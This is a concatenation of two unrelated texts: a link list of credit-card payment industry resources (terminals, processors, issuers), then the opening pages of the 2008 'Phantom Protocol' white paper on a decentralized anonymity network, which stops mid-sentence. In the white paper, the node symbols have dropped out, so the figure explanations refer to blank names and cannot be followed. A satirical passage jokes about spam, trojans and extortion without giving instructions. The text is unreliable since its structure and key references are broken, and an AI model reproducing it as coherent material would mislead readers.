These list are not a complete guild to their parent fields, but more as pointers to 'general' resources.
Security Resources -
Visa CISP Audit
http//www.usa.visa.com/business/merchants/cisp_index.html
World Wide E-Commerce Fraud Prevention Network
http//www.merchantfraudsquad.com/index.html
General On-line Resources -
Flow of credit cards
http//www.usa.visa.com/business/merchants/guide_to_transaction.html?it=h2_/index.html
Transaction World Magazine
http//www.transactionworld.com/
Terminal Resources -
Hypercom
http//www.hypercom.com/
Programming guides to Hypercom terminals
http//www.hypercom.com/products/Download.asp?Nav=66&Nav=65
Verifone
http//www.verifone.com/
Programming guide to Verifone terminals
http//www.verifone.com/pdf/tcl_ref.pdf
Credit Card Network Vendors -
Auric Systems
http//www.auricsystems.com/
CC Bill
http//www.ccbill.com/
CyberSource
http//www.cybersource.com/products_and_services/electronic_payments/
eOne Global
http//www.eoneglobal.com/
Go Software
http//www.pccharge.net/
I4 Commerce
http//www.i4commerce.com/
IC Verify
http//www.icverify.com/
Infinet Incorporated
http//www.infinet-inc.com/qs.asp?page_id=3&site_id=1
Infospace Corporation
http//www.authorize.net/
Paymetric Corporation
http//www.paymetric.com/
Shift4 Corporation
http//www.shift4.com/
UniComp
http//www.unicomp.com/products/software/cambire/about/
Verisign
http//www.verisign.com/products/payflow/pro/index.html/
Front End Processors -
1st Horizon
1st Tennessee
http//www.firsttennessee.com/ft_docs/cfm/biz.cfm?
section=biz&menu=corp_biz&body=corp_merchant_services
5th/3rd Bank
http//www.53.com/
Electronic Clearing House
ECHO
http//www.echo-inc.com/
First Data Corporation
FDC, FDR, Nabanco, Chase, CardNET
http//www.firstdata.com/index.jsp
Global Payment Processing
NDC, MAPP, GPP, MDI
http//www.globalpaymentsinc.com/index2.asp
Nova Processing (not affiliated with Discover/NOVUS)
http//www.novainfo.com/
Paymentech
http//www.paymentech.net/
Vital Processing
VisaNET, Visa
http//www.vitalps.com/
Credit Card Issuer Resources -
American Express
http//www.americanexpress.com/
Diners Club
http//www.dinersclub.com/
Discover Card / Novus
http//www.discovercard.com/
JCB (Japan Credit Bureau) Card
http//www.jcb.co.jp/index2.html
Master Card
http//www.mastercardintl.com/cgi-bin/index.cgi
Visa
http//www.visa.com/
eof | pdf |
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
1(68)
Generic, Decentralized, Unstoppable Anonymity:
The Phantom Protocol
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
2(68)
1. Abstract
Recent years, and especially this past year, have seen a notable upswing in developments
toward anti-online privacy around the world, primarily in the form of draconian surveillance and
censorship laws (both legislated and suggested) and ISPs being pressured into individually acting
as both police and informants for various commercial interests. Once such first steps have been
taken, it is of course also of huge concern how these newly created possibilities could be used
outside of their originally stated bounds, and what the future of such developments may hold in
store for online privacy.
There are no signs of this trend being broken anytime soon. Combined with the ever growing
online migration of everything in general, and privacy sensitive activities in particular (like e.g.
voting, all nature of personal and interpersonal discussions, and various personal groupings), this
trend will in turn unavoidably lead to a huge demand for online anonymization tools and similar
means of maintaining privacy.
However, if not carefully designed, such anonymization tools will, ultimately, be easy targets for
additional draconian legislation and directed [il]legal pressure from big commercial and political
interests. Therefore, a well-conceived, robust and theoretically secure design for such an
anonymization protocol and infrastructure is needed, which is exactly what is set out to be done
with this project.
What is presented in this paper is the design of a protocol and complete system for anonymi-
zation, intended as a candidate for a free, open, community owned, de facto anonymization
standard, aimed at improving on existing solutions such as e.g. TOR − from the viewpoint of the
needs of today and tomorrow − and having the following important main properties and goals:
1. Completely decentralized.
− No critical or weak points to attack or put [il]legal pressure on.
2. Maximum resistance against all kinds of DoS attacks.
− Direct technical destructive attacks will be the only possible practical way to even attempt
to stop it.
3. Theoretically secure anonymization.
− Probabilistic methods (contrary to deterministic methods) must be used in a completely
decentralized design like this, where no other peer can be trusted, so focus is put on
optimizing these methods.
4. Theoretically secure end-to-end transport encryption.
− This is simple in itself, but still important in the context of anonymization.
5. Completely (virtually) isolated from the "normal" Internet.
− No one should have to worry about crimes being perpetrated from their own IP address.
6. Maximum protection against identification of protocol usage through traffic analysis.
− You never know what the next draconian law might be.
7. Capable of handling larger data volumes, with acceptable throughput.
− Most existing anonymization solutions are practically unusable for (or even prohibit) larger
data volumes.
8. Generic and well-abstracted design, compatible with all new and existing network enabled
software.
− Software application developer participation should not be needed, it should be easy to
apply the anonymization to both new and already existing products like e.g. web browsers
and file transfer software.
The Phantom protocol has been designed to meet all these requirements, and will be presented
in this paper.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
3(68)
TABLE OF CONTENTS
1.
ABSTRACT.................................................................................................................................2
2.
INTRODUCTION — ANONYMITY IN THE CONTEXT OF THIS PAPER .....................................5
3.
FURTHER DEFINITIONS AND LIMITATIONS ............................................................................8
3.1.
DESIGN ASSUMPTIONS............................................................................................................8
3.2.
IMPORTANT CONSEQUENCES OF DESIGN GOALS AND ASSUMPTIONS ...........................................8
3.3.
DESIGN DIRECTIVES ...............................................................................................................8
4.
DESIGN GOALS OF THE PROTOCOL.......................................................................................9
4.1.
COMPLETE DECENTRALIZATION................................................................................................9
4.2.
MAXIMUM RESISTANCE AGAINST ALL KINDS OF DOS ATTACKS ....................................................9
4.3.
THEORETICALLY SECURE ANONYMIZATION................................................................................9
4.4.
THEORETICALLY SECURE END-TO-END ENCRYPTION .................................................................9
4.5.
COMPLETE (VIRTUAL) ISOLATION FROM THE "NORMAL" INTERNET..............................................10
4.6.
MAXIMUM PROTECTION AGAINST PROTOCOL IDENTIFICATION/PROFILING....................................10
4.7.
HIGH TRAFFIC VOLUME AND THROUGHPUT CAPACITY ..............................................................11
4.8.
GENERIC, WELL-ABSTRACTED AND BACKWARD COMPATIBLE DESIGN ........................................11
5.
BIRD’S-EYE VIEW OF THE PROTOCOL..................................................................................12
5.1.
SOME INITIAL DEFINITIONS ....................................................................................................12
5.2.
A FIRST GLANCE ..................................................................................................................12
5.3.
A LITTLE FURTHER LOOK ......................................................................................................13
6.
HIGH-LEVEL DESIGN ..............................................................................................................14
6.1.
SOME FURTHER DEFINITIONS ................................................................................................14
6.2.
ROUTING PATHS...................................................................................................................14
6.3.
ROUTING TUNNELS...............................................................................................................16
6.4.
AP ADDRESSES ...................................................................................................................18
6.5.
THE NETWORK DATABASE.....................................................................................................19
7.
LOW-LEVEL DESIGN...............................................................................................................20
7.1.
ROUTING PATHS...................................................................................................................20
7.2.
ROUTING TUNNELS...............................................................................................................35
7.3.
SECURE END-TO-END ENCRYPTION AND AUTHENTICATION.......................................................54
7.4.
THE NETWORK DATABASE.....................................................................................................55
7.5.
ADDITIONAL DETAILS ............................................................................................................59
8.
LEGAL ASPECTS AND IMPLICATIONS ..................................................................................60
8.1.
ON A TECHNICAL LEVEL ........................................................................................................60
8.2.
ON A LEGAL/LICENSE RELATED LEVEL....................................................................................61
9.
REVIEW OF DESIGN GOALS...................................................................................................62
9.1.
MATCHING OF DESIGN GOALS WITH FEATURES OF THE PROTOCOL............................................62
10.
KNOWN WEAKNESSES.......................................................................................................64
11.
COMPARISON WITH OTHER ANONYMIZATION SOLUTIONS............................................66
11.1.
ADVANTAGES OF PHANTOM OVER TOR...............................................................................66
11.2.
ADVANTAGES OF PHANTOM OVER I2P.................................................................................67
11.3.
ADVANTAGES OF PHANTOM OVER ANONYMIZED FILE SHARING SOFTWARE .............................67
12.
SUMMARY AND FUTURE OF THE PROTOCOL ..................................................................68
12.1.
CENTRAL PROJECT LOCATION............................................................................................68
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
4(68)
TABLE OF FIGURES
FIGURE 1. ONE-WAY ANONYMIZED COMMUNICATION, OVERVIEW .......................................................... 12
FIGURE 2. TWO-WAY ANONYMIZED COMMUNICATION, OVERVIEW.......................................................... 13
FIGURE 3. ROUTING PATH, OVERVIEW ....................................................................................................... 15
FIGURE 4. TWO-WAY ANONYMIZED CONNECTION, INVOLVING TWO ROUTING PATHS/TUNNELS.......... 16
FIGURE 5. ONE-WAY ANONYMIZED CONNECTION, INVOLVING ONE ROUTING PATH/TUNNEL ............... 17
FIGURE 6. ROUTING PATH CREATION, STEP 1 ........................................................................................... 20
FIGURE 7. ROUTING PATH CREATION, STEP 2 ........................................................................................... 20
FIGURE 8. ROUTING PATH CREATION, STEP 3 ........................................................................................... 21
FIGURE 9. ROUTING PATH CREATION, STEP 7 ........................................................................................... 23
FIGURE 10. ROUTING PATH CREATION, FIRST ROUND COMPLETED........................................................ 23
FIGURE 11. ROUTING PATH CREATION, STEP 11 ....................................................................................... 25
FIGURE 12. ROUTING PATH CREATION, STEP 12 ....................................................................................... 26
FIGURE 13. THE COMPLETED ROUTING PATH, RECOGNIZABLE FROM PREVIOUSLY IN THIS PAPER.... 26
FIGURE 14. ANONYMIZED NODE () WANTING TO CONNECT TO A NON-ANONYMIZED NODE () .......... 35
FIGURE 15. NON-ANONYMIZED NODE () WANTING TO CONNECT TO AN ANONYMIZED NODE ()........ 36
FIGURE 16. ANONYMIZED NODE () WANTING TO CONNECT TO ANOTHER ANONYMIZED NODE () .... 37
FIGURE 17. OUTBOUND ROUTING TUNNEL CREATION, STEP 3 ................................................................ 39
FIGURE 18. OUTBOUND ROUTING TUNNEL CREATION, STEP 8 ................................................................ 40
FIGURE 19. OUTBOUND ROUTING TUNNEL CREATION, STEP 15 .............................................................. 41
FIGURE 20. OUTBOUND ROUTING TUNNEL CREATION, COMPLETED....................................................... 41
FIGURE 21. INBOUND ROUTING TUNNEL CREATION, STEP 1.................................................................... 42
FIGURE 22. INBOUND ROUTING TUNNEL CREATION, STEP 3.................................................................... 43
FIGURE 23. INBOUND ROUTING TUNNEL CREATION, STEP 10.................................................................. 44
FIGURE 24. INBOUND ROUTING TUNNEL CREATION, COMPLETED........................................................... 45
FIGURE 25. HIGH-AVAILABILITY ROUTING PATH WITH DOUBLE REDUNDANCY....................................... 59
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
5(68)
2. Introduction — Anonymity in the Context of This Paper
Anonymity can mean a lot of different things depending on the context in which it is used. In order
to avoid any misunderstandings in this paper, we will begin with a definition of anonymity in the
context at hand, which at the same time just might give some insight into other aspects and
motivations of this paper too.
Anonymity at its simplest core could be described as the inability for (all) other parties to discover,
in a given context, the identity of the party defined as being anonymous.
Well then you say, what is the definition of identity? In the context of this paper, and most other
contexts dealing with individual human beings, the identity of a person could be defined as the
set of information that directly, conclusively and uniquely describes and singles out that individual
among all other human beings in this world (and possibly other worlds too, depending on one’s
religious preferences). That is, more practically, the information needed to be able to show up on
a particular person’s doorstep, or at least file a (non-John Doe) lawsuit against them.
The subject of “John Doe lawsuits”, in turn (which is a law suit directed at a party whose real
identity has not yet been discovered) brings us to the subject of pseudonymity, which is related
to, and could perhaps be called “a lower form” of, anonymity. Under pseudonymity, a party can
operate without revealing its real identity, but various acts performed can still all be connected
and bound to this same entity, i.e. to its pseudonym identity. This pseudonym identity, in turn,
runs the risk of being connected to the real identity at some later point in time, and, if and when
that occurs, any act already connected to the pseudonym identity will be instantly attached to the
real identity, even though this real identity was not known at the time the acts were committed.
Going one step further in defining the concept of anonymity in the context of this paper, which in
turn deals primarily with anonymity in the context of Internet communications, we present here
below examples of some different practical and theoretical levels of anonymity that exist on the
Internet today:
•
For those most blissfully ignorant Internet users, the Internet seemingly offers complete
anonymity. As far as these are concerned, you can just register a Hotmail address under
an imaginary name, an ICQ account with a naughty handle, an Internet dating site
account with a picture of David Hasselhoff, and then start enjoying your new and
alternative identity, without anyone ever being able to expose you or do the first thing to
prevent it.
— Complete anonymity. Diplomatic immunity of the Internet kind, woohoo!
•
At the next level of enlightenment, the first problems of pseudonymity start to become
apparent to the previously so blissfully ignorant Internet user. It actually turns out that if
you start pumping out Viagra spam from your Hotmail or ICQ account, or start to sexually
harass just a few too many people over at that Internet dating site, your über anonymous
email, ICQ and Internet dating accounts will be reported to their individual service
providers, who will shut them down and maybe even send an angry letter to that other
ultra anonymous email address that you were just about to start using for your latest
body part enlargement product marketing campaign. Your pseudonyms have been
tracked down and taken to justice for your actions, and you now think you’re starting to
catch on to what that local EFF activist was going on and on about before you slammed
the door in his face.
— Replaceable pseudonymity. Ok, whatever, you can always register another email
account.
•
At yet the next level of enlightenment, just when your latest massive Hotmail-borne Cialis
spam campaigns and your email trojan hobby project of finding naked pictures of people
on their home computers were starting to take off, it seems like some evil ultra haxor
have tracked down something called your “IP address”, and sent a bunch of abuse
reports to all those nice service providers that make your fledgling business enterprise so
enjoyable. Now all of a sudden you can’t seem to register any more batches of Hotmail
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
6(68)
addresses with that cool Russian program, nor register any more Internet dating
accounts with pictures of David Hasselhoff. And to top it off, that nosy ISP of yours even
had the nerve to send a rude warning letter to your home, saying something about
unacceptable behavior, service agreements and other legal mumbo jumbo. Where the
hell do they get off saying something like that, not to mention how on earth could they
know anything about what you’ve been doing in the first place? What, do they have spies
looking in on people’s computer screens though their windows now? After pulling down
all the curtains, moving the radio-button in the cool Russian program from “Hotmail” to
“Gmail”, and finally managing to find another Internet dating site that apparently didn’t
find it affordable to pay the membership fee to the international black list of dating site
weirdos, pervs and just plain too ugly people, you really start to regret that you didn’t at
least give the EFF guy the opportunity to move his face out of the way before slamming
the door, realizing now that he might actually have been on to something there.
— Non-replaceable pseudonymity, the ISP seems to have some magical way of knowing
what you do, but luckily they aren’t allowed to reveal your real identity to anyone else,
right? (the ISP has logs of all your allotted IP addresses, which can be matched to abuse
reports)
•
It is said that the Internet is a place of constant learning, and the field of anonymity is no
exception to that rule. What started out as a simple and righteous retaliation campaign
against the rude people behind those service providers trying to shut down your
legitimate businesses in the fields of Cialis retail and amateur porn, quickly turned into a
passionate hobby, and even yet another successful Internet enterprise. This after it
became apparent that the combination of email death threats and extortion by means of
private nude pictures is surprisingly lucrative. All of a sudden though, while minding your
own business as usual, planning your new life on Hawaii, it once again becomes abruptly
apparent that you have been the victim of one of those horrible online first amendment
crimes that you have a faint recollection of being the last thing to ever pass by the
original front teeth of that EFF guy. All of a sudden, your rights within the area of
speaking have apparently been radically cut down to the somewhat disappointing “right
to remain silent”, and you start wondering what the world has really come to? Well,
actually, you knew it would happen eventually, just like it happened to all great Internet
enterprises, the “unfair competition” lawsuit trick, the oldest trick in the book.
— Partial lack of anonymity/pseudonymity. People seem to somehow be able to get hold
of your real identity by suing your Internet identity, or otherwise reporting it to the police.
•
Just returned from the week long visit “downtown”, you are starting to seriously consider
a small donation to the EFF, since installing that hard disk encryption software
mentioned in the blood stained pamphlet left by the EFF guy outside your door
seemingly resulted in a failure for your competitors to plant fake evidence of unfair
competition on your computer, or at least that’s your interpretation of the legal mumbo
jumbo that ended with “dismissed due to lack of evidence”. So it really worked then it
seems, those EFF people really managed to save your freedom of speech after all, and
they deserve a donation for it indeed! Being a responsible donor though, you always
make sure to check up on the financial activities and transactions of the organizations to
which you donate money. After all, you don’t want to have any part in sponsoring
something that would later turn out to be some kind of shady operation, right?
Incidentally, this would also be a great opportunity to try out that latest service offering of
your most fierce competitor in the area of Internet entrepreneurship, namely the Russian
Business Network. A service which they have given the disquietingly inventive name
“Get the bank account transaction listing of any given company or private person, for 10
cents”. Availing yourself of this service and having skimmed through the EFF account
transaction lists, you don’t notice anything out of the ordinary except one small oddity.
Two local chapters of Alcoholics Anonymous (which you conclude, from their initials,
must be the Rock Island and Menlo Park AA chapters) have repeatedly made some
pretty huge donations to key personnel at EFF, all of which have been immediately
“reimbursed” shortly thereafter on each occasion. Poor people you think, they must have
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
7(68)
been drunk and mistyped the account numbers when transferring money from the local
chapters to the national organization. Naturally, being the Good Samaritan that you are,
you decide to take a quick peek at the individual account listings of these “RIAA” and
“MPAA” local chapters, just to insure they didn’t misplace any more of their money while
being under the influence lately. You quickly get to regret this thoroughness though,
when seeing that these poor fellows seem to have misplaced money transfers to
practically every single ISP board member, judge or politician involved in questions
concerning copyright and digital communications law in the whole of the United States
and Europe. That’s just too much, you say to yourself, it would take all night to note down
and report all those mistaken transactions. Those poor drunkards are on their own for
now. Damn, alcohol abuse is crazy, almost as crazy as all those policies and laws
proposed by the exact ISPs, politicians and judges being present on this transaction
listing, regarding data retention, blocking of traffic to arbitrary destinations, and release of
personal traffic logs to third-party make-believe cops owned by commercial interests. He-
he, isn’t that a funny coincidence you think to yourself, before finally registering your $10
donation to the EFF, which after all seems to be a bunch of some pretty standup guys,
having returned all those misplaced donations and everything.
— Full lack of anonymity, and subsequent invasion of privacy and abuse of personal
information by commercial interests and other shady authorities could soon pose a huge
threat to Internet users all around the world (as a result of misplaced AA money transfers
if nothing else).
So, can’t anything be done about this current and impending state of affairs?
Yes it can! In addition to donating money to charitable organizations (e.g. the EFF) that work
actively with helping “AA chapters” all over the world to stay away from their abuse, an efficient
way of removing the possibility for such privacy invasion and abuse would be to completely
remove the compromising link between a network information exchange and the network
identification details of the peers involved in such exchanges, i.e. the IP addresses of the
communicating peers.
This, combined with removing the possibility of eavesdropping on any part of the contents of such
information exchanges, would insure that no external party whatsoever could neither see who is
talking to whom, nor discover what they are talking about, be it the ISP itself or any other
organization tapping the wire at any given point along the communication path.
Oh, and about the danger of “over entrepreneurial” individuals (like our dear friend from the
examples above) exploiting this anonymity to commit serious crimes like those in the examples
above, don’t worry, this has been taken into consideration and taken care of in the design of the
protocol too, in one of the most clean and beautiful of ways possible.
And that, dear readers, is the definition of anonymity in the context of this paper.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
8(68)
3. Further Definitions and Limitations
3.1. Design Assumptions
Yet again, for a topic as multifaceted as this, some important assumptions on which the design is
based should be declared:
1. The traffic of every node in the network is assumed to be eavesdropped on (individually, but
not globally in a fully correlated fashion) by an external party.
2. Arbitrary random peers participating in the anonymization network/protocol are assumed to
be compromised and/or adverse.
3. The protocol design cannot allow for any trusted and/or central entity, since such an entity
would always run the risk of being potentially forced offline or manipulated, if for no other
reason due to large enough quantities of money (or lawyers) being “misplaced”.
3.2. Important Consequences of Design Goals and Assumptions
As a result of the design assumptions listed above, a number of consequences critical to the
design of the protocol can be deduced, out of which some important ones are:
1. The protocol needs to be fully decentralized and distributed.
2. No other peer participating in the protocol can be trusted by itself.
3. Probabilistically secure algorithms need to be used instead of deterministically secure ones.
3.3. Design Directives
During the course of any design procedure, one is often faced with different alternatives or
options at different levels. Design directives are meant to assist in making these decisions, and
also to make sure that all such decisions are made in a consistent manner, toward the same
higher level goals. The most important design directive for this project is:
1. CPU power, network bandwidth, working memory and secondary storage resources are all
relatively cheap, and will all be available in ever increasing quantities during the coming
years and thereafter. Thus, wherever a choice must be made between better security or
better performance/lower resource consumption, the most secure alternative should be
chosen (within reasonable bounds, of course).
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
9(68)
4. Design Goals of the Protocol
4.1. Complete Decentralization
In the world of IT security, it is a well known fact that however efficient, secure and robust a
system or protocol may be, if it has any kind of single weak point, this is what any determined
attacker will find and exploit. In cases of involvement by big financial and/or political interests, an
additional common angle of attack is the legal arena, where lawsuits, legal threats and
economical pressure are the primary weapons of choice.
Thus, an important design goal of the protocol is to make sure that it has no central or single
weak points, neither in the IT realm, nor the legal realm. Because of this, the only viable option is
to make the protocol completely decentralized (including legal ownership wise, i.e. also making it
open source and community owned), dependent only on the sum of its users, while at the same
time not specifically on any single instance of them.
4.2. Maximum Resistance against All Kinds of DoS Attacks
The current widespread trend of anti-privacy measures around the world is there for a reason. Big
commercial and political interests, and combinations of them, want to restrict and control the
privacy and free exchange of information on the Internet today. Considering the decentralized
nature of this protocol, combined with the fact that its primary purpose is actually to prevent the
tracking and targeting of single individuals on the basis of who they are communicating with and
why, the only practical way to attempt to stop it would be to launch destructive technical attacks of
different kinds against the network as a whole (attempting to outlaw its use altogether would of
course also be a theoretical possibility, which is discussed separately later in this paper).
Thus, an important design goal of the protocol is to be resistant against such attacks, in the best
way possible, and this goal should therefore be considered through all levels of its design.
4.3. Theoretically Secure Anonymization
As always in the field of security, any solution relying solely on the obscurity and practical
difficulty of cracking it, will always fail sooner or later. Usually sooner too actually, if just enough
motivation and resources exist among its adversaries.
Thus, an important design goal of the protocol is that the security of its anonymity should be
theoretically provable, regardless of being deterministic or probabilistic.
4.4. Theoretically Secure End-to-End Encryption
End-to-end encryption, and the subsequent prevention of anyone eavesdropping on the contents
of single communication sessions, is something that is normally taken for granted on the Internet
today. This kind of secrecy is also of extra importance when it comes to the field of anonymi-
zation, due to the simple fact that if someone is able to eavesdrop on the contents of the
communication between two otherwise anonymous parties, it is highly likely that information of
more or less identifying nature will occur at some point. In such case, the identities of the
communicating parties can be deduced by means of this information, instead of through network
specific address information.
Thus, an important design goal of the protocol is to make sure that no entity other than the two
communicating peers of the protected conversation has access to its contents. Or, put in a
simpler way, the enforcement of end-to-end encryption.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
10(68)
4.5. Complete (Virtual) Isolation from the "Normal" Internet
It is a well-known fact that people behave worse while under the cover of anonymity. Many
opponents of a protocol of the type being presented here would argue that the Internet is
sufficiently full of crime as it is today, and that increased anonymity would only be for the worse
(apparently not considering anti-privacy crime).
A big disadvantage with many existing anonymity solutions, e.g. TOR, is that they only provide an
anonymizing layer between their users and the normal, non-anonymous, Internet. This results in
a design containing “out-proxies” for the last communication step between the anonymization
layer and the normal Internet, which in turn has two substantial drawbacks. First of all, the traffic
of this last communication step is not necessarily encrypted, which enables any out-proxy to
eavesdrop on any such information (and as mentioned above, eavesdropping of communication
contents is not only a confidentiality risk, it is also a direct anonymity risk!). Second of all, the
users of such a system are essentially able to perform any action that normal non-anonymous
Internet users can, including most kinds of Internet related crime, such as spamming and unlawful
hacking. These types of crimes can always be traced back to the last “out-proxy” before the
switch to normal non-anonymous Internet traffic, and the person acting as this out-proxy (which in
a decentralized design would be any random user of the system) would run the risk of being
associated with the crime in question. Both these factors are of course at the very least
unpleasant, and would have a very discouraging effect on the usage of the system.
Thus, an important design goal of the protocol is to make sure that none of its users should need
to worry about crimes being committed against other random Internet users from their own
computer, which is in turn accomplished by complete isolation between the anonymized network
and the normal Internet. This way, each and every user can decide exactly which services they
want to expose to anonymous access, considering the risks associated with doing so. For
example, if you don’t want to take the risk of anonymous hackers vandalizing your web server,
simply don’t expose it to the anonymous network. If you don’t want to take the risk of anonymous
users threatening you in a chat room, don’t join a chat room on the anonymous network. This way
(possibly even in combination with legal measures like EULAs and licenses for the protocol and
its implementations), no user of the anonymous network (let’s call this user “A”) should be able to
blame another innocent user of the anonymous network (let’s call this user “B”) for an anonymous
attack which just happened to bounce off user B as a last random stop before hitting user A.
Thus, no user of the network should have to worry about their participating role as a possible
routing node when using the network.
NOTE: Out-proxies from the Phantom protocol toward the normal non-anonymous Internet can
still be implemented on the application level, and hosted by anyone willing to take the risk. In this
case they could also easily be made target-specific, in order to e.g. allow for anonymous access
to your own website only, or similar.
4.6. Maximum Protection against Protocol Identification/Profiling
Already today, several ISPs around the world have been exposed throttling or blocking traffic that
they either don’t themselves like, or even worse, that some commercial or political third-party
interests disapprove of and, thus, pressured them to block, all for a large variety of reasons. Due
to the fact that many of these parties in many cases are the very ones whose actions in the field
of anti-privacy this anonymization protocol aims to counteract, it is fair to assume that the protocol
itself would quickly become an attractive target for such measures.
Thus, an important design goal of the protocol is to make positive identification of its use as hard
as possible for any third party with full external eavesdropping access to its traffic, in order to
prevent these same parties (e.g. an ISP) from being able to act upon this kind of information.
Let’s not kid ourselves however, traffic analysis is extremely hard to defend against to the extent
of it not being able to conclude anything. The practical goal will rather be to induce a large
enough amount of uncertainty and false positives into any reasonably resourceful traffic analysis
method, in order to prevent real-time throttling and blocking.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
11(68)
4.7. High Traffic Volume and Throughput Capacity
Practically all free and generally available anonymization solutions of today operate at speeds too
low for most users to be interested, or at least be attracted to them. Many of these solutions also
outright explicitly and completely forbid the transfer of larger data volumes. First of all, poor
performance and limitations of any kind are negative traits of any protocol or system, by
themselves. Second of all, and even more importantly, the strength of the provided anonymity
(and also the robustness against DoS attacks of different kinds) in a fully distributed and
decentralized solution like the Phantom protocol, depends on its number of users.
Thus, an important design goal of the protocol is to make it as capable, high-performing and non-
limited as possible in the aspects of transfer volume and throughput, while still maintaining
theoretically strong anonymization.
4.8. Generic, Well-Abstracted and Backward Compatible Design
Last but not least, there are some design goals that practically always constitute winning
strategies when designing complex systems and powerful solutions. First of all, in the long run, a
generic system is practically always superior to a specific system, and especially if it is popular
and used by many people, thus becoming the subject of the accompanying constant flow of ideas
and suggestions for new and creative ways of using and adapting it. Second of all, a well-
abstracted design makes sure that a design mistake in one area doesn’t affect unnecessarily
large parts of the solution as a whole, and also allows for much more efficient collaborative work
by different groups of people with different areas of expertise. Third of all, a design that is
backward compatible with previous solutions and applications will get a much quicker start, has
much greater opportunities to quickly show off its potential, and is much easier to put into a
perspective that people understand and appreciate.
Thus, an important design goal of the protocol is to make it as generic, well-abstracted and
backward compatible with existing adjacent and relevant technologies as possible. This might
sound a bit vague, highfalutin and unnecessary to mention, but as you will see, it will be of great
importance in many ways for this protocol.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
12(68)
5. Bird’s-Eye View of the Protocol
Now, with all the major goals, directives and assumptions behind the protocol design having been
presented, we can begin to delve into its actual design. At its core, and viewed at the highest
level, the design of the protocol is very simple.
5.1. Some Initial Definitions
•
A protocol user is any actor or device that is using the protocol. It could be a home user,
a large server, or possibly even a dedicated anonymization appliance. Everything that
has access to the Internet is a valid candidate.
•
In the context of this protocol, the real identity of a protocol user is equated with its IP
address on the network in question (which for all matters of this paper will be assumed to
be the Internet). This will hold true even if this IP address isn’t necessarily a dedicated
one for the user, i.e. even if the user is one of many behind a particular NAT firewall, the
identity of the user is considered to be revealed to a certain party if the external IP
address of this NAT firewall is revealed to the same party.
•
All protocol users participate in the anonymous network, or rather, the protocol users are
even the sole constituents of the anonymous network, since it is fully distributed and
decentralized.
•
All protocol users in the anonymous network will be represented as network nodes in this
paper. In explanatory figures, these nodes will in turn be represented as circles (of
different color, depending on their role in the current explanation).
•
An anonymized node is a network node that is making use of the anonymous network to
hide its own identity while communicating with another node in the anonymous network
(which in turn can be anonymized, or not, by its own choice).
5.2. A First Glance
Now, let’s say we have a situation where a network node, , wishes to be anonymous while
communicating with another network node, . The resulting situation when using the protocol can
be illustrated with the following figure.
Figure 1. One-way anonymized communication, overview
As can be seen in the figure, the traffic from is being forwarded through a number of inter-
mediary nodes before reaching , and any reply from will be sent back through the same path.
This way, has no way of knowing the identity of , since only knows the IP address of the last
intermediary node, but has no knowledge of what is going on beyond that point.
= End-point node
= Selected intermediary network node
= Non-involved network node
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
13(68)
5.3. A Little Further Look
As a necessary consequence of the protocol design (which is in turn based on the previously
listed goals, directives and assumptions, and will be described in more detail later in this paper),
all nodes in the network are responsible for maintaining their own anonymizing forwarding paths
like this, or routing paths as they are called within the bounds of this protocol.
In the previous example, the routing path belonged to node , and thus could only be used to
anonymize node . This means that, in this example, only node was being anonymized. This is
a perfectly valid circumstance though, where a node, in this case node , has only joined the
network to be able to communicate with anonymized nodes, while not itself being anonymized.
There are of course plenty of situations where both parties of a communication session want to
remain anonymous, and the resulting situation can be illustrated with the following figure.
Figure 2. Two-way anonymized communication, overview
As can be seen in this figure, the traffic from node is now being forwarded though a group of
intermediary nodes, owned and controlled by , after which it is sent to another group of
intermediary nodes, owned and controlled by , and then finally reaches node . Any reply from
will be sent in reverse, back through the same path.
This way, has no way of knowing the identity of , since only knows (at most) the IP address
of the last intermediary node in the routing path owned by , but has no knowledge of what is
going on beyond that point. This time though, the exact same thing also applies in the reverse
direction, i.e. has no way of knowing the identity of , since only knows (at most) the IP
address of the last intermediary node in the routing path owned by , but has no knowledge of
what is going on beyond that point.
We now have a simple model for a communication session where neither party has the ability to
know the identity of the other party, while still being able to engage in unrestricted communi-
cation. This is practically what the Phantom protocol is about at its core, but as they say, the devil
is in the details, and there are quite a bunch of those to consider.
= End-point node
= Selected intermediary network node
= Non-involved network node
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
14(68)
6. High-Level Design
The previous chapter raises several questions, and also allows for a few more definitions. This
chapter will try to clear up a few of these, while still on a higher, non-detailed, level.
6.1. Some Further Definitions
•
A routing path is a number of network nodes in the anonymous network, in a defined
order, selected by a particular anonymized node that also “owns” the path, over which
communications to/from this anonymized node can be forwarded/routed in order to help
keep its real identity hidden from its communication peers in the anonymous network.
•
An exit routing path, or exit route, is a routing path through which the owning anonymized
node can make outgoing connections to other nodes in the anonymous network, and
thus, a mechanism for anonymizing network clients.
•
The outermost node in an exit route is called an exit node.
•
An entry routing path, or entry route, is a routing path through which the owning
anonymized node can accept incoming connections from other nodes in the anonymous
